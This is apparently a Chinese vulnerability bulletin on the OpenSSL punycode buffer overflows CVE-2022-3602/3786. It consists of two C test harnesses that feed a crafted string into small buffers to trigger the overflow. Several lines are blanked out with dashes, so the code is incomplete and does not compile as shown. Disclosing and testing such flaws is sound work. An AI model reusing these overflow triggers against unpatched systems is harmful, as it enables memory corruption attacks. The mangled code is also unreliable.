【漏洞通报】 OpenSSL存在缓冲区溢出漏洞（CVE-2022-3602/3786）

#include <locale.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <stdint.h>
int ossl_a2ulabel(const char *in, char *out, size_t *outlen);
int main(int argc, char *argv[]){  setlocale(LC_CTYPE, "");
 -------------------------------  char out[16];  size_t outlen = sizeof(out);
  ------------------------------
  if(result == 1) {    printf("Ok: [%ld] %sn", outlen, out);  ------------------------------    printf("Too short: [%ld : %ld] %sn", outlen, strlen(out), out);  } else {    printf("Bad stringn");    exit(0);  }
  return 0;}

#include <locale.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <stdint.h>
// Edit to change the test string#define TEST_STRING "hello! -gr25faaaaaaaaaaaaa"
// Edit to change the output buffer's length#define DECODED_LENGTH 20
---------------------------------int main(int argc, char *argv[]){  setlocale(LC_CTYPE, "");
  -------------------------------
  if(!ossl_punycode_decode(TEST_STRING, strlen(TEST_STRING), decoded, &decoded_len)) {    printf("Encoding failed!n");    free(decoded);    exit(1);  }
  printf("encoded: [%ld] %sn", strlen(TEST_STRING), TEST_STRING);  printf("decoded: [%d] ", decoded_len);
  -----------------------------    free(decoded);  return 0;}